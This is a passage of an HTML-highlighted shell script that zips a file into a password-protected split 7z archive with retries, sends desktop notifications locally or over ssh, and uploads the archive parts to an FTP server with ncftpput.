/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;***WARNING***&lt;/b&gt;7z&nbsp;failed&nbsp;at&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;bzw&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">,&nbsp;retry&nbsp;</span><span style="color: #0000BB">$t</span><span style="color: #DD0000">&nbsp;of&nbsp;3"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"***WARNING***7z&nbsp;failed&nbsp;at&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;bzw&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">,&nbsp;retry&nbsp;</span><span style="color: #0000BB">$t</span><span style="color: #DD0000">&nbsp;of&nbsp;3"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7z&nbsp;a&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">mhe</span><span style="color: #007700">=</span><span style="color: #0000BB">on&nbsp;&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">p$ARCHIVPW&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">v$ARCHIVPARTSIZE&nbsp;$ARCHIVNAMEFINAL.7z&nbsp;$INPUTFILE<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7ZOUT</span><span style="color: #007700">=$?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;$</span><span style="color: #0000BB">7ZOUT&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">5<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t</span><span style="color: #007700">=`</span><span style="color: #DD0000">expr&nbsp;</span><span style="color: #0000BB">$t</span><span style="color: #DD0000">&nbsp;+&nbsp;1</span><span style="color: #007700">`<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$t&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;4&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;**CRITICAL**&nbsp;Zipping&nbsp;failed&nbsp;after&nbsp;3&nbsp;trys."<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"&lt;b&gt;***ERROR***&lt;/b&gt;&nbsp;7z&nbsp;failed&nbsp;3&nbsp;times.&nbsp;Stopping&nbsp;script."'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"***ERROR***&nbsp;7z&nbsp;failed&nbsp;3&nbsp;times.&nbsp;Stopping&nbsp;script."'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"&lt;b&gt;***ERROR***&lt;/b&gt;&nbsp;7z&nbsp;failed&nbsp;3&nbsp;times&nbsp;at&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;bzw&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">.&nbsp;Stopping&nbsp;script."<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"***ERROR***&nbsp;7z&nbsp;failed&nbsp;3&nbsp;times&nbsp;at&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;bzw&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">.&nbsp;Stopping&nbsp;script."<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">exit&nbsp;</span><span style="color: #0000BB">5<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;done<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i</span><span style="color: #007700">=$&#91;</span><span style="color: #0000BB">$i</span><span style="color: #007700">+</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">":::&nbsp;All&nbsp;zipped,&nbsp;starting&nbsp;Upload"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/bin/notify-send&nbsp;-i&nbsp;$OSDICON&nbsp;-t&nbsp;$OSDTIMEOUT&nbsp;"Upload"&nbsp;"Zipping&nbsp;done,&nbsp;starting&nbsp;upload"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">/</span><span style="color: #0000BB">home</span><span style="color: #007700">/</span><span style="color: #0000BB">$SHUSER</span><span style="color: #007700">/.</span><span style="color: #0000BB">ssh</span><span style="color: #007700">/</span><span style="color: #0000BB">$SSHAUTHKEYNAME&nbsp;$SSHUSR</span><span style="color: #007700">@</span><span style="color: #0000BB">$SSHHOST&nbsp;</span><span style="color: #DD0000">'export&nbsp;DISPLAY=:0&nbsp;&amp;&amp;&nbsp;/usr/local/bin/growlnotify&nbsp;-t&nbsp;"Upload"&nbsp;-m&nbsp;"Zipping&nbsp;done,&nbsp;starting&nbsp;upload"'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$SENDOSDPERSSH&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;1&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;notify</span><span style="color: #007700">-</span><span style="color: #0000BB">send&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">i&nbsp;$OSDICON&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;$OSDTIMEOUT&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;"Zipping&nbsp;of&nbsp;&lt;b&gt;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;bzw&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">&lt;/b&gt;&nbsp;done,&nbsp;starting&nbsp;upload"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elif&nbsp;</span><span style="color: #007700">&#91;&nbsp;</span><span style="color: #0000BB">$OSDNOTIFICATIONS&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;2&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;growlnotify&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">t&nbsp;</span><span style="color: #DD0000">"Upload"&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">m&nbsp;</span><span style="color: #DD0000">"Zipping&nbsp;of&nbsp;</span><span style="color: #0000BB">$INPUTFILE</span><span style="color: #DD0000">&nbsp;bzw&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">&nbsp;done,&nbsp;starting&nbsp;upload"&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fi<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">for&nbsp;</span><span style="color: #0000BB">UPLOADARCHIVPART&nbsp;in&nbsp;</span><span style="color: #007700">`</span><span style="color: #DD0000">ls&nbsp;</span><span style="color: #0000BB">$ARCHIVNAMEFINAL</span><span style="color: #DD0000">*</span><span style="color: #007700">`&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ncftpput&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">u&nbsp;$FTPUSR&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">p&nbsp;$FTPPW&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">DD&nbsp;$FTPHOST&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OUT</span><span style="color: #007700">=$?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OUT&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">ne&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t</span><span style="color: #007700">=</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">while&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$t&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">le&nbsp;3&nbsp;</span><span style="color: #007700">&#93;;do<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ncftpput&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">u&nbsp;$FTPUSR&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">p&nbsp;$FTPPW&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">DD&nbsp;$FTPHOST&nbsp;</span><span style="color: #007700">/&nbsp;</span><span style="color: #0000BB">$UPLOADARCHIVPART<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OUT</span><span style="color: #007700">=$?<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&#91;&nbsp;</span><span style="color: #0000BB">$OUT&nbsp;</span><span style="color: #007700">-</span><span style="color: #0000BB">eq&nbsp;0&nbsp;</span><span style="color: #007700">&#93;;</span><span style="color: #0000BB">then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">5<br 